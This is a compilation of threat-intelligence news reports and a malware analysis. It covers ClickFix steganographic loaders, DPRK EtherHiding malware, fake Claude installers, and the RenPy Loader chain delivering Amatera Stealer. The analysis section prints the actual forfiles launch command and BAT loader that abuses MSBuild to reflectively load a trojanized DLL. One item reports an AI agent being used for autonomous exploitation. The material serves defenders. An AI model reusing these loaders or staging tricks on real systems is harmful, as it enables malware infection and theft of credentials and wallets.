A new Russian loader-as-a-service named DOUBLECUP uses ClickFix attacks to hide malicious code in PNG images cached by victims' browsers, ultimately delivering CountLoader to Windows and macOS devices and a new remote access trojan named DeviceManager to Windows systems. SOCRadar's Threat Research Unit says DOUBLECUP has operated since early June 2026, providing customers with licenses and a Go-based Windows tool for creating malicious campaigns and generating the code operators add to their websites. The service handles much of the infrastructure required to conduct the attacks, including hosting the steganographic PNG images, managing session and signal endpoints, providing encryption keys, and automatically rebuilding payloads. DOUBLECUP customers are responsible for creating and hosting the websites used to display the ClickFix prompts, adding the generated frontend code, and implementing any additional obfuscation or anti-analysis measures. SOCRadar discovered DOUBLECUP while investigating an open directory at 213[.]139.77[.]109:9090 that contained test files. The same IP address was later identified as hosting the service's licensing panel. To launch an attack, a DOUBLECUP customer uses the Go-based Windows application to configure the campaign's domain, URL path, steganography method, embed type, execution action, and payload locations. This generates an API configuration endpoint that returns the steganographic image URL and file size, session endpoint, and commands customized for Chrome, Edge, Firefox, Brave, and Opera. Operators then add DOUBLECUP's code to their ClickFix sites, which retrieves the configuration, preloads the steganographic image into the victim's browser cache, registers the session, selects the command matching the victim's browser, and copies it to the clipboard when the page is opened. Malware hidden in the browser cache In a new report, SOCRadar says it observed DOUBLECUP ClickFix campaigns using fake CAPTCHA prompts on login pages impersonating NetSuite, Odoo, HubSpot, and Salesforce, with the malicious code loaded through embedded iframes. When a victim visits one of these sites, DOUBLECUP registers the session, determines the victim's public IP address, and forces the browser to download and cache a malicious PNG image. The page then displays fake CAPTCHA-style instructions that attempt to convince visitors to paste and run a command automatically copied to their clipboard. Once executed, the command searches the browser cache for the PNG based on its exact file size and uses the findstr or certutil commands to recover and execute the hidden first-stage payload inside the image. The first payload launches a fileless second-stage dropper, which retrieves the victim's public IPv4 address and uses it to create a decryption key for the final encrypted payload. After verifying the decrypted payload against a hardcoded SHA-256 hash, the dropper executes it in memory. SOCRadar says the final payloads are CountLoader and a new DeviceManager RAT. 2 malware payloads SOCRadar identified two malware families delivered through DOUBLECUP, which are an updated version of CountLoader that targets Windows and macOS and what is believed to be a previously undocumented DeviceManager RAT. CountLoader is used to harvest information about infected systems, checks for cryptocurrency wallet applications and browser extensions, determines whether Signal Desktop is installed, and establishes persistence through scheduled tasks. CountLoader can also download and execute files, including MSI packages, PowerShell modules, and DLLs. SOCRadar also recovered a macOS version compiled for Intel and Apple Silicon devices, which installs a LaunchAgent for persistence and uses built-in utilities such as curl, sw_vers, system_profiler, and ioreg to communicate with attacker-controlled servers. DOUBLECUP was also seen delivering the DeviceManager malware, a modular Python-based Windows RAT that uses blockchain smart contracts to determine the IP address of its command-and-control server. In countries not part of the Commonwealth of Independent States (CIS), DeviceManager collects the machine GUID, disk identifier, user SID, hostname, username, operating system version, architecture, installed antivirus software, and domain information. The malware uses a technique known as EtherHiding to retrieve its current C2 address from an Ethereum or Polygon smart contract, which makes it more resistant to disruption attempts. The RAT uses DNS A and TXT records to steal system information, retrieve commands to execute, download payloads, and send command output back to the attackers. This is not the first time ClickFix attacks have used steganography, as Huntress previously documented campaigns that concealed LummaC2 and Rhadamanthys payloads within the pixel data of PNG images. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Threat actors with ties to North Korea have been attributed to a sophisticated macOS malvertising campaign that involves redirecting users to fake web pages displaying a full-screen non-existent update sequence to deliver malware as part of a new iteration of the long-running Contagious Interview campaign. The defining aspect of the attack is that bogus macOS software update screen stealthily copies an attack command to the clipboard and then prompts the victim to execute it via the Terminal app, a known technique referred to as ClickFix. "The experience is designed to induce panic," AllSecure said in a report shared with The Hacker News. "The computer appears frozen or rebooting, so a user who believes the OS has failed follows instructions they would otherwise find suspicious." The campaign is also noteworthy for its use of blockchain-hosted command-and-control (C2), with the malware extracting the live server address from an Ethereum smart contract. This takedown-resistant approach, referred to as EtherHiding, has been put to use by North Korean threat actors in prior campaigns associated with Contagious Interview (aka UNC5342). The end goal of the attacks is to facilitate remote code execution, allowing the implant to poll the C2 server and fetch two additional payloads, an information stealer capable of targeting 157 cryptocurrency wallets and a malicious Chrome extension. The attack chain is a departure from typical Contagious Interview campaigns in that the starting point involves clicking on a search result for an unspecified target company. As soon as the website opens, the browser displays the full-screen macOS reboot message, giving the impression that a software update was underway, while stealthily setting the stage for the next phase of the infection. Once the fake update sequence completes, the fake page prompts the user to open the Terminal app and paste an already copied command into the system's clipboard. Interestingly, any attempts to reproduce this sequence do not yield the same result, meaning the activation is intended to be single-use. What's interesting here is that the initial lure was not a suspicious job offer, a video assessment, or a coding test, all of which have been various methods the Contagious Interview cluster has employed in the past. Instead, it begins with a seemingly harmless web search. In the case observed by AllSecure, the victim is said to have been searching for electrophoresis machines and clicked on a sponsored result for a company that appeared to sell them. The infection sequence begins immediately after the fake page loads on their browser. The command pasted into Terminal is a curl command designed to fetch the next-stage malware, leading to the execution of a Node.js backdoor that uses a LaunchAgent for persistence and calls an Ethereum contract to resolve the C2 server address. The implant is configured to check in with the server every five minutes and execute any JavaScript code returned by it. The EtherHiding mechanism serves as a conduit for two payloads - An information stealer that harvests data from web browsers (Chrome, Brave, Edge, Firefox, Opera, and Vivaldi), 157 cryptocurrency wallets, as well as SSH, AWS, Azure, and npm keys A malicious "Google Drive Offline" extension that's sideloaded into the browser by patching Chrome's Secure Preferences file and is used to drain a victim's wallet. Two Ethereum addresses are embedded into the malware, both acting as EtherHiding configuration responsible for fetching the actual C2 servers: "rg-telemetry[.]sbs/api" and "th-updates[.]sbs/analytics." "Each contract was created by a throwaway wallet running an identical four-step script: funded with ~0.0126 ETH, deploy the contract, write the config, forward the leftover ~0.006 ETH onward, then abandon the wallet," AllSecure said. "The pattern suggests an operator that has industrialised deployment: fund, deploy, configure, drain leftovers, abandon, repeat." Further analysis has determined that both the backdoor and the browser-extension drainer are funded from the same wallet cluster, indicating that the activity is the work of a single actor. "The delivery context is also worth noting: DPRK-linked campaigns are often described through the lens of fake job interviews and developer recruitment, but this case shows the same operational logic appearing in a broader browsing scenario," Christian Papathanasiou, co-founder and CEO of AllSecure, said. "That does not replace the fake-job pattern; it expands the threat model."

A lot of security still comes down to trusting the wrong screen. This week, that screen might be a login page, an install guide, a recruiter call, or a familiar service behaving slightly wrong. Behind it: reused credentials, exposed systems, quiet loaders, abused trust, and exploit paths that should have been harder. Some defenses improved. The loose parts still got found first. Anyway, here's the mess. The threats change every week. Subscribe, and we’ll alert you when each new ThreatsDay Bulletin is out. Phishing delivers XWormA cybercrime group known as xplogs22 has been observed targeting Russia and other CIS countries with phishing emails that deliver Xworm. The group, per F6, is believed to have been active since November 2023. Prior attacks mounted by the threat actors leveraged Formbook and Snake Keylogger, before switching to XWorm around July 2025. In recent months, Russian customers of the banking sector have also been targeted by an Android trojan called LunaSpy as part of social engineering attacks. LunaSpy can capture camera streams, record audio and the screen, and collect sensitive data. The malware is disguised as an antivirus application to evade detection. Custom ransomware targets RussiaThe financially motivated extortion group known as Toy Ghouls (aka Bearlyfy and Labubu) has targeted organizations in the Russian Federation, primarily in the manufacturing, financial services, retail, and technology sectors, with a custom ransomware family called GenieLocker since March 2026. According to Kaspersky, the group previously relied on third-party encryptors like RedAlert, LockBit, and Babuk. "GenieLocker, apparently a custom design, upgrades their toolkit and reduces their reliance on third-party software," Kaspersky said. In at least one case, initial access to the target environment was obtained via an OpenVPN connection originating from an external partner's network, with the attackers likely exploiting the trusted relationship to breach the target, conduct reconnaissance, deliver additional tools for credential harvesting, and perform lateral movement via RDP and SSH to reach other Windows and Linux hosts. "During the impact phase, the attackers encrypted files on the compromised Windows machines with the PE version of the GenieLocker ransomware," Kaspersky said. "On the compromised Linux and ESXi servers, they stopped active virtual machines and encrypted their disks using the ELF version of GenieLocker." Details of the activity were first highlighted by F6 in March 2026. Crypto-stealing payloads deployedThe malware loader known as CastleLoader, which has been previously used to deliver CastleStealer and a Python-based remote access trojan (RAT) via ClickFix-style lures, has now been used to distribute two payloads tied to the Needle Stealer framework: a Rust-based desktop wallet spoofer, and a Golang-based malicious browser extension installer. Arctic Wolf said it also identified a new shellcode loader variant spreading via digitally signed installers. The campaign has been codenamed Noidret. The introduction of these new tools is seen as an attempt to focus on cryptocurrency-specific targeting and establish browser-level persistence. Fileless WebDAV executionSpeaking of ClickFix, CyberProof said it tracked a ClickFix variant that involves tricking victims into pasting a single command into the Windows Run dialog, which then communicates with a WebDAV endpoint and uses rundll32.exe to load a remote, non-DLL payload and call its first export by ordinal without having to leave any artifacts on disk. "The payload (gc.key, j.pm, or goog.ct) is a file served from the attacker WebDAV share and is not a standard DLL by extension," CyberProof said. "It is invoked by rundll32.exe through ordinal #1, which runs its primary routine while keeping the export name off the command line." Fake Claude guide spreads malwareVictims searching Google for how to install Claude on a Mac are being served sponsored results that lead them to a weaponized claude.ai/share conversation dressed up as an Apple Support install guide. The "guide" instructs them to open Terminal and paste a single curl command, ultimately leading to execution of MacSync Stealer. "MacSync is a six-stage kill chain, not a smash-and-grab," Huntress said. "The components are a thin zsh loader, a server-side AppleScript stealer that keeps the valuable logic off the endpoint and behind an api-key gate, a native Mach-O RAT for hands-on access, a separately signed helper built to steal a single TCC permission (Screen Recording), and a set of wallet-app trojans. Each stage sets up the ones that follow." Malware, intrusions, and influence opsA Russian-speaking threat group is said to be behind an active campaign called Operation STANDOFF that combines commodity-malware distribution, a proxy-botnet that conscripts victims into relay infrastructure, targeted hands-on-keyboard intrusion of enterprise networks, and an AI-driven, multi-channel influence and engagement-manipulation capabilities under one roof. "The operation is materially more than a botnet," VMRay Labs said. "It couples automated, scaled cybercrime with hands-on-keyboard, targeted intrusion and a coordinated influence capability, all on the same infrastructure and built by a common development team." The influence apparatus uses networks of fake Telegram accounts and AI-generated personas to artificially boost the visibility of content, push commercial promotions, and drive traffic to gambling and fraud-adjacent services. The activity uses a pay-per-install (PPI) loader masquerading as software installers that delivers Raccoon Stealer, RedLine, Amadey, SmokeLoader, Socelars, Glupteba, and XMRig cryptocurrency miner, while a second, targeted operations layer relies on a bespoke, multi-operator command-and-control console through which human operators conduct hands-on-keyboard intrusions of selected victims. Fleet takeover flaw exposedSecurity researcher Eaton Zveare has disclosed details of a vulnerability in My Eicher, a fleet management system developed by the Volvo Group and Eicher Motors for Indian commercial vehicle customers, that enabled the discovery of unauthenticated internal and. admin APIs that could be exploited to gain high-level access to systems and even enable account takeover. "Account takeover made it possible to gain control over a person's (or company's) entire fleet, which could consist of hundreds of vehicles," Zveare said. Following responsible disclosure on November 3, 2025, the issue was addressed at some point by November 20. AI agents automate exploitationA Chinese-speaking threat actor has been carrying out an AI-enabled autonomous hacking campaign, targeting infrastructure using seven vulnerabilities in Langflow (CVE-2026-33017), n8n (CVE-2026-21858, CVE-2025-68613), Citrix NetScaler (CVE-2026-3055), Apache Tomcat (CVE-2026-34486), Marimo Notebook (CVE-2026-39987), Palo Alto Networks PAN-OS (CVE-2026-0300), and Microsoft Windows IKE Extensions (CVE-2026-33824). The actor, operating under the aliases knaithe and KnYuan, has leveraged DeepSeek, via the Hermes Agent framework, as their autonomous offensive operator, while orchestrating the operation through Telegram to enumerate targets, source exploit tools, and initiate attacks without human intervention. "Hermes Agent provided orchestration (terminal access, Telegram-based command and control, and the skills system) while DeepSeek served as the reasoning engine for code generation, vulnerability assessment, target selection and decision-making," Unit 42 said. Additionally, the threat actor is said to have used Claude Code, Codex, and Qwen Code in a limited capacity. "When initial exploitation failed due to the target environment's restrictive configurations, their Hermes Agent autonomously conducted searches for known critical-severity Common Vulnerabilities and Exposures (CVEs)," Unit 42 said. "It initially surveyed 10 product families, scanning GitHub for trending proofs of concept (PoCs) and prioritizing vulnerabilities by attack surface." Trusted access fuels cryptominingDetails have emerged about a covert Linux XMRig campaign that exploits trusted access, and weaponizes Pluggable Authentication Modules (PAM) to create a forensic smokescreen and deploy a highly customized XMRig botnet implant. "Initial access was achieved by exploiting a trusted third-party relationship, highlighting critical supply chain risks," Group-IB said. "The threat actor escalated to root access, but weaponised the pam_rootok policy to seamlessly impersonate multiple low-privileged users to create a forensic smokescreen designed to confuse incident responders and establish a 'hydra-like' redundant persistence across unmonitored accounts." The campaign is characterized by efforts to actively suppress system visibility by disabling logging services and removing authentication logs to blind standard file-based monitoring. The campaign was first observed in March 2026. Fake recruiter delivers stealerThreat actors are masquerading as recruiters and trucking victims into installing a malicious application disguised as an AI meeting tool called Relay. The malware targets both macOS and Windows users, and attempts to steal sensitive data including browser credentials, wallet-related information, Keychain data, and Telegram sessions, per SlowMist. 900,000 customers affectedAustralian energy company Origin Energy said it completed the initial phase of its review into a security incident that took place earlier this month, finding that "the information of approximately 900,000 current and former customers was accessed." The information accessed may include name, address, date of birth, phone number, last four digits of a credit card, or the BSB and last three digits of a bank account, and account details. Healthcare SaaS accounts targetedHealth-ISAC is warning of an increase in successful attacks conducted by ShinyHunters. "The group appears to prioritize identity compromise and SaaS access over traditional ransomware deployment," it said. "The operational pattern described in recent incident reporting aligns to a repeatable chain: vishing (voice social engineering) → helpdesk/MFA reset or device re-enrollment → Microsoft Entra (or Okta/Google) SSO account takeover → pivot into connected SaaS platforms → rapid data exfiltration for extortion leverage. Even when victim statements indicate limited operational impact, the described tradecraft is the key defensive lesson. SSO is the control plane, and ShinyHunters' leverage is created through data theft at cloud scale." Supply chain defenses tightenedGitHub has laid out the various steps it has taken to harden the supply chain at various stages and combat attacks that target weaknesses in package repositories and CI/CD systems for malware propagation. Some of these include: (1) npm adding preventive account protection for high-impact accounts, (2) safer pull_request_target defaults for GitHub Actions checkout, (3) better controls over who and what triggers GitHub Actions workflows, (4) read-only Actions cache for untrusted triggers, (5) support for CircleCI in npm trusted publishing, (6) Action workflow network firewall, (7) staged publishing for npm, (8) default package cooldown for Dependabot version updates, (9) self-service credential revocation for incident response, and (10) expanded credential revocation API support. Seven critical Chrome flaws fixedIn an update released on July 29, 2026, Google shipped patches to address 370 flaws in its Chrome browser, including seven that are rated critical in severity (from CVE-2026-17650 through CVE-2026-17656). Of these, 349 flaws were reported by Google itself, with the tech giant noting that the bugs were detected using AddressSanitizer, MemorySanitizer, UndefinedBehaviorSanitizer, Control Flow Integrity, libFuzzer, or AFL. None of the patched vulnerabilities have been flagged as actively exploited. The fixes are available in versions 151.0.7922.71/.72 for Windows and Mac and 151.0.7922.71 for Linux. Google has addressed over 1,800 vulnerabilities in Chrome since the beginning of the year. Edge devices need forensic visibilityThe U.K. National Cyber Security Centre (NCSC) has urged network device manufacturers to help incident response teams by making it easier to gather evidence after a compromise. "Forensic observability is particularly important for edge devices such as firewalls, VPN gateways and other network appliances," NCSC said. "These systems often sit at trust boundaries and are increasingly targeted by sophisticated threat actors. Forensic observability means giving defenders reliable ways to understand what a device is doing, what it has done and whether it can still be trusted after an incident. This includes telemetry, logging, configuration state, and the ability to collect forensic data from both memory and data at rest. Manufacturers should provide supported mechanisms for gathering the evidence needed to investigate incidents, assess impact, and restore trust in affected systems." Phishing pages built in real timeBarracuda has revealed that LogoKit has evolved from a standard phishing kit into a "real-time deception platform" capable of building customized phishing pages for each victim. "LogoKit has moved beyond static fake login pages, such as pre-built replicas of popular brands, to the creation and use of real-time, highly personalized phishing experiences," it said. "The platform uses legitimate commercial web services to recreate a victim's corporate login experience, making phishing attacks more convincing and harder to detect. Every victim effectively receives a uniquely branded phishing page, making generic indicators of compromise harder to identify." This involves capturing a real-time screenshot of the victim's legitimate website and building phishing pages tailored to them. LogoKit uses the commercial Thum.io service to "create full, legitimate website screenshots for the phishing background and Clearbit to add legitimate brand logos." The attackers also rely on legitimate services, including Google Favicon, ImageKit and Microlink APIs, to dynamically load authentic logos and website imagery in real-time. LogoKit campaigns use phishing emails bearing warnings about passwords or delivery failures and timesheet updates to direct victims to the fake pages. Exploitation accelerates in 2026A new analysis from VulnCheck has revealed that despite a significant uptick in vulnerability discovery and disclosure, 23.43% of known exploited vulnerabilities (KEVs) showed evidence of exploitation on or before the day the CVE was published. "At the same time, vulnerabilities appear to be being exploited faster, with the median time from CVE publication to KEV falling from 120 days in 2025 to 80 days during the first half of 2026," VulnCheck said. "Of 1,061 vulnerabilities attributed to AI-assisted discovery, only 14, or 1.3%, have been confirmed as exploited in the wild, roughly matching the overall exploitation rate of all vulnerabilities in the first six months of the year." The top technology categories being targeted by exploitation activity include CMS systems, network edge devices, operating systems, server software, and AI infrastructure (e.g., Langflow, Majordomo, lollms, LiteLLM, and dify). Credential stuffing hits SonicWallAn active, broad, and opportunistic credential stuffing campaign has been observed since July 25, 2026, resulting in successful unauthorized logins to SonicWall VPN and firewall accounts. To date, 92 unique user accounts across 30 organizations have been impacted. "The activity stems from five IPs and relies on infrastructure hosted on DigitalOcean to compromise numerous, seemingly unrelated organizations," Huntress said. "Current telemetry indicates this is an automated credential validation attack, consistent with similar campaigns targeting SonicWall VPNs throughout 2025 and 2026." Threat actors get new namesGoogle Threat Intelligence Group (GTIG) said it will be rolling out a unified naming schema for tracking threat actors as part of its effort to standardize tracking across platforms and public reporting. "The new naming convention aligns with industry standard threat actor naming systems," GTIG said. To that end, the new schema utilizes a cryptonym-based approach employing two-word combinations for each distinct threat actor, similar to those adopted by CrowdStrike (e.g., Mustang Panda) and Microsoft (e.g., Twill Typhoon). The first word is a term chosen to represent the specific actor, while the second word categorizes threat clusters by motivation, attribution, or activity type. Going forward, APT44 (aka Sandworm) will be referred to as Sandworm Relic, where Relic is the category name for threat actors of Russian origin. Similarly, those from China will be grouped under Castle, Iran under Ion, North Korea under Neptune, and cybercriminal gangs under Comet. GTIG said it will continue to use UNC (or uncategorized) for threat clusters that are still in the early stages of investigation. Hidden desktop hijacks sessionsA new remote access trojan (RAT) called MedusaHVNC is being sold as malware-as-a-service (MaaS), per BlackFog. The malware embeds a hidden virtual network computing (HVNC) module that opens a browser on a separate Windows desktop that's out of sight of the victim. "The browser still runs on the victim's device, so it can load an existing profile, including cookies and session state," BlackFog said. "This gives the operator access to live, logged-in sessions while the activity continues to come from the victim's usual machine." The seller lists Chrome, Edge, Brave, Firefox, and Telegram as supported applications. The malware uses a 5-stage infection chain. It begins when the legitimate "wscript.exe" binary executes a JavaScript launcher, which then sets off the subsequent steps, including dropping additional payloads and using AutoIT to decrypt and launch MedusaHVNC, which then communicates with an external server to exfiltrate data. DNS hijack exposed credentialsCubePilot has announced an operational disruption stemming from a DNS hijacking attack. Unknown threat actors are said to have gained control of the cubepilot[.]org domain DNS settings on July 24, allowing them to intercept traffic intended for internal systems. The threat actors also obtained TLS certificates covering all cubepilot.org subdomains. "The certificates obtained by the attacker covered every cubepilot.org subdomain, so credentials entered on any of our services on 24 July may have been captured - the portal and the forum included," CubePilot said. "If you used the same password anywhere else, change it there now." CubePilot has since regained control of its domains and revoked the fraudulently issued certificates. Spear-phishing delivers SpyGlaceThe threat actor known as APT-C-60 has continued to target Japanese organizations with spear-phishing emails to deliver SpyGlace malware. "While several changes have been identified, such as a shift in infrastructure from Bitbucket to GitHub and updates to the malware itself, many characteristics remain consistent, including the abuse of legitimate services and the behavior of the malware," JPCERT/CC said late last year. As of 2026, the spear-phishing emails contain a Proton Drive link to trick recipients into downloading a RAR archive containing a LNK file, which then deploys SpyGlace by downloading an intermediate payload from jsDelivr. "By using legitimate services, the threat actor may be attempting to make communications and downloads appear to be normal access," JPCERT/CC said. AI agent validates exploitable flawsGoogle has launched a preview of CodeMender, an AI agent designed to scan codebases for security flaws, confirm they are exploitable and eliminate false positives, and generate fixes for developers to review. The tool supports C/C++, Go, Java, Python, Ruby, Rust, and TypeScript. "The agent goes beyond static code-pattern analysis by simulating an attack with exploit code it builds and runs in an isolated, customer-managed sandbox," Google said. "The agent uses this proof-of-concept exploit to verify that the security flaw poses a legitimate risk. This critical verification phase allows your security practitioners and developers to prioritize validated risks by eliminating false positives." CodeMender will add support for third-party frontier models later this year. 4,340 extremist URLs flaggedEuropol said it supported an action targeting nihilistic violent extremist content online between June and July 2026 with an aim to disrupt The Com online ecosystem and restrict propaganda dissemination. The agency and its partners have flagged 4,340 "horrific" URLs linked to The Com for removal. Belgium, Finland, Hungary, Ireland, Luxembourg, Netherlands, Portugal, Spain, and Sweden participated in the effort. "Groups affiliated with The Com recruit members and groom victims on social media, messaging apps, and gaming platforms to engage in self-harm, animal torture, violent attacks, and the production of child sexual abuse material," Europol said. "They distribute propaganda on accessible platforms to attract young individuals, funnelling potential members and victims into private forums and chat rooms where radicalisation and victimisation occur. Victims are typically coerced into remaining under the perpetrators' influence through (s)extortion." Members of the loose-knit collective also participate in cybercrime, extortion, doxxing, swatting, real-life shootings, stabbings, and other physical violence. Fake games deliver AmateraFake downloads of games, mods, cracks, and software are being used to spread RenPy Loader (aka RenEngine Loader). "Once installed, the loader starts a complex, multi-stage infection chain that abuses MSBuild and the EtherHiding technique before ultimately delivering Amatera Stealer," Malwarebytes said. "RenPy Loader has also been observed delivering other malware, including Hijack Loader and Lumma Stealer, showing that the final payload can vary between campaigns." Most failures stay quiet until someone relies on them. A login works. A partner is trusted. A tool behaves as expected. Then one assumption turns out to be doing all the security work. That is the part worth checking before next week finds it first.

A malvertising campaign on the Bing search service is pushing a fake Claude desktop app installer hosted on a legitimate Claude.ai domain to deliver the SectopRAT malware. At least 29 organizations were compromised between July 21-22 during the malicious operation, which researchers call FakeAgent. The attackers used a malicious Claude Artifact hosted on Claude’s legitimate domain, a tactic that has been used at the beginning of the year to push macOS malware via ClickFix lures. Researchers at managed security company Huntress found that the malicious Claude Artifact, downloaded 7,100 times before Anthropic removed it, directed visitors to websites that hosted a fake installer named ClaudeDesktop.exe. However, the file is a legitimate JetBrains Chromium component that sideloads a malicious DLL (libcef.dll) to deliver the SectopRAT remote access trojan with info-stealing capabilities. Persistence on the system is achieved through another executable named DockerDesktop.exe, which installs a scheduled task. Huntress says that the various loaders and staging components used in the infection chain feature anti-analysis mechanisms, including VMProtect packing, shader timing checks, GPU and VRAM checks, and virtual machine (VM) detection. The SectopRAT malware was recently observed being distributed via CastleLoader campaigns and ClickFix attacks. The malware uses the EtherHiding technique to retrieve a working command-and-control (C2) address via Ethereum BNB Smart Chain transactions. SectopRAT, also known as ArechClient2, has been active since 2019 and is an information-stealer with HVNC (Hidden Virtual Network Computing) functionality. It allows remote hands-on operations and real-time interaction with the compromised system. The malware targets user passwords, credit card data, files, browser logins and cookies, FTP credentials, data from various messaging clients, including Discord and Telegram, Steam, and VPN products. In an interesting twist, Huntress reports it used Claude Opus 4.8 to assist with shader emulation, cryptographic reconstruction, and .NET code analysis. Analysis of the decrypted .NET payload (SectopRAT) helped attribute the attacks to SectopRAT operations, or a closely related fork, and opened the path to infrastructure analysis. At that stage, the researchers found 10 domains registered to the same email address since December 2025, with one of them previously linked to the StealC distribution and seized during Operation Endgame. Huntress does not have enough evidence to attribute the FakeAgent campaign to a specific, known threat cluster. Users looking for software should trust official websites and download portals, instead of search results, especially sponsored ones. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

We have detected several campaigns using fake downloads of games, mods, cracks, and software to spread RenPy Loader. Once installed, the loader starts a complex, multi-stage infection chain that abuses MSBuild and the EtherHiding technique before ultimately delivering Amatera Stealer. Amatera is an infostealer—a type of malware designed to steal sensitive information from an infected device. It can target passwords and other data stored in browsers, cryptocurrency wallets, browser extensions, messaging apps, and local files. Stolen credentials and session data may also allow attackers to access the victim’s online accounts. The victim may see what appears to be a normal game or software installer while the malware runs silently in the background. RenPy Loader, also known as RenEngine Loader, is particularly interesting because it abuses Ren’Py, a legitimate engine used to create visual novels, story-driven games, and interactive fiction. By hiding malicious code inside software associated with gaming, attackers can make their downloads appear more believable to people looking for games, mods, or cracked software. We’ve previously seen attackers misuse legitimate development tools and emerging software frameworks, including Bun and Deno, to distribute malware. RenPy Loader follows the same pattern: Attackers abuse legitimate technology to disguise malicious activity, complicate the infection chain, and make detection more difficult. RenPy Loader has also been observed delivering other malware, including HijackLoader and Lumma Stealer, showing that the final payload can vary between campaigns. In this blog, we analyze an infection chain in which Ren’Py decrypts a ZIP archive containing a BAT file and several MSBuild project files. These files load a trojanized .NET component, which then decodes another malicious component. That malicious component uses a technique called EtherHiding to locate its command-and-control (C2) server. Instead of storing the C2 address directly inside the malware, the attackers hide it in data stored on a public blockchain. The malware then downloads the next stages of the attack from that server, making the attackers’ infrastructure more difficult to identify and disrupt. Finally, we examine the additional payloads that ultimately decrypt and execute Amatera Stealer. Fake downloads infect your device The infection begins when someone downloads a supposed game, mod, crack, or piece of software. We found malicious files distributed through: Malicious websites Game download portals Several file-sharing services, including Wormhole, GoFile, Google Drive, and MEGA Here are some of the detected pages that start the infection chain: In several cases, clicking a download link redirected the user to another fake download website. These pages used different designs and invented service names, helping the campaigns appear less repetitive and making the malicious infrastructure harder to recognize. Below are examples of fake download pages used to distribute the malicious archive: The user downloads an archive containing a file named Setup.exe. Opening this file starts the infection chain. The victim sees a loading or installation screen, but malicious code is running in the background. How to stay safe A few precautions can reduce the risk of downloading malicious games or software: Download games and software from official websites, trusted app stores, or established distribution platforms. Treat cracked software, unofficial mods, and free versions of paid games with caution. Be wary when a download link redirects you through several unfamiliar websites or file-sharing services. Check the contents of downloaded archives before opening executable files such as Setup.exe . Look for unusual filenames, unrelated images or text files, and content that does not match what you intended to download. Use real-time anti-malware software such as Malwarebytes. Keep your operating system, browser, and security software up to date. The people behind these campaigns continually create new websites and change their download pages. A professional-looking installer or familiar file-sharing service does not guarantee that a download is safe. Technical analysis of RenPy loader Ren’Py is a free, open-source engine for creating visual novels, story-driven games, and interactive fiction. Ren’Py allows the integration of Python scripts, which attackers abuse to insert malicious code. In this case, we found malicious code in the following files and paths: The first-stage loader extracted from libwin32.rpa performs the following operations: Reads the config data/.GEg and decrypts it using Base64 decoding and XOR with the key81034149cd6f48c8821340204f92766e . This config contains the password used to extract the ZIP, along with other configuration data used by the loader. Calls sys_config.is_sandboxed() and exits if a sandbox is detected. XOR-decrypts data/j3lpTcg7kBRN.E3 using the keyA50YyY1 to obtain the ZIP. Extracts the ZIP contents to a random folder under %TEMP%/tmp-{5 digits}-{12 characters} and writes a:Zone.Identifier alternate data stream (ADS) withZoneId=0 to remove the Mark of the Web and bypass SmartScreen. It also inserts a randomREM string into the extracted BAT file. Launches the payload using forfiles.exe . Sends the machine’s MAC address and campaign ID to a tracking website. In this case, the extracted BAT file was executed using the following command: forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat" Contents of the BAT file: @echo off setlocal DisableDelayedExpansion set "_bp=%~f0" set "_rl=0" if /i "%~1"=="/launched" set "_rl=1" if /i "%~2"=="/launched" set "_rl=1" if /i "%~3"=="/launched" set "_rl=1" if /i "%~4"=="/launched" set "_rl=1" if /i "%~5"=="/launched" set "_rl=1" if /i "%~6"=="/launched" set "_rl=1" if /i "%~7"=="/launched" set "_rl=1" if /i "%~8"=="/launched" set "_rl=1" if /i "%~9"=="/launched" set "_rl=1" if "%_rl%"=="1" goto :_go set "_ch=%SystemRoot%\System32\conhost.exe" if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe" where conhost.exe >nul 2>&1 if %errorlevel% equ 0 ( endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched ) else ( endlocal & cmd.exe /c "%_bp%" /launched ) exit /b 0 :_go endlocal setlocal EnableExtensions set MSBUILDENABLEALLPROPERTYFUNCTIONS=1 set "_czzf=%~dp0Nancy.csproj" set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" if not exist "%_pb%" ( exit /b 9 ) "%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1 endlocal The executed BAT file performs the following operations: Relaunches itself in a headless console when supported: "C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c Enables MSBuild property functions, allowing additional methods such as AppDomain.CurrentDomain.Load to be executed: MSBUILDENABLEALLPROPERTYFUNCTIONS=1 Executes MSBuild.exe withNancy.csproj as its project file. During project evaluation, a malicious MSBuild property function hex-decodes and reflectively loads the next DLL stage. The trojanized Nancy DLL and custom bytecode Nancy.csproj imports the three extracted files Nancy.csproj.user, Internal.props, and Nancy.Compile.targets. The malicious DLL is split across three values stored in these files. Nancy.Compile.targets concatenates the three values to hex-decode the DLL and execute the DefaultEvaluator5 method using AppDomain.CurrentDomain.Load.CreateInstance. The interesting part is that Nancy.csproj serves two purposes: It is the MSBuild project used to execute the first-stage loader, and it also contains the next stage decoded by the loader. The DLL is a trojanized version of the Nancy .NET library and is an obfuscated .NET loader with malicious code implemented in the DefaultEvaluator5 class. Some of the DLL’s functionality is implemented in custom bytecode executed by this main method. The DLL performs the following operations: Decrypts strings from resources using multi-key XOR decryption. Resolves APIs using API hashing and GetDelegateForFunctionPointer . Changes network settings, including disabling TLS certificate validation and setting the default system proxy. Performs anti-forensics operations. Reads the _czzf environment variable, which points to the previousNancy.csproj file, then decodes and executes it. The main DefaultEvaluator5 method retrieves strings and interprets the bytecode contained in the following resources: Nancy.Runtime.mvlorimu : Contains the custom bytecode. The bytecode is interpreted by_pv and_sro . It implements 23 opcodes used to decrypt other strings and load the next-stage DLL. Nancy.Data.tcnlhxw andNancy.Resources.kxxodp : Contain the encrypted strings and other data used for decryption, including keys, lengths, indexes, and the S-box. The strings are decrypted using the following algorithm: out[j] = 